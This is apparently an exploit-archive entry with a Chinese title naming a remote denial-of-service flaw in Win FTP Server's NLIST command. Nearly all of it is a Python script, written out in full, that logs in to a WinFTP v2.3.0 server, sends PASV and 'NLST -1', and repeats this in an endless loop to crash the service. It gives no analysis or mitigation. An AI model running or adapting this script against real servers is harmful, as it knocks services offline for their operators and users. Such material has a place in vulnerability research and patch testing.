Win FTP Server 'NLIST'命令远程拒绝服务漏洞

# WinFTP v2.3.0 DoS exploit # WinFTP URL - http://www.wftpserver.com/ # DoS'ed when try to send data # (x)dmnt # -*- coding: windows-1252 -*- import socket import time import sys PORT = 21 def help_info(): print ("Usage: winftp <host> <login> <password>\n") print ("Note: anonymous is enought\n") def conn(hostname, username, passwd): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((hostname, PORT)) except: print ("[+] Done!") sys.exit(1) r=sock.recv(1024) print "[+] " + r sock.send("USER %s\n" %username) sock.send("PASS %s\n" %passwd) sock.send("PASV\n") sock.send("NLST -1\n") sock.send("QUIT\n") sock.close() print ("\n[WinFTP v2.3.0 remote DoS exploit]") print ("[(x)dmnt 2008 without any clue :)]\n\n") if len(sys.argv) <> 4: help_info() sys.exit(1) else: hostname=sys.argv[1] username=sys.argv[2] passwd=sys.argv[3] sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((hostname, PORT)) except: print ("[-] Connection error!") sock.close() sys.exit(1) while passwd: conn(hostname, username, passwd) time.sleep(0.2) sys.exit(0)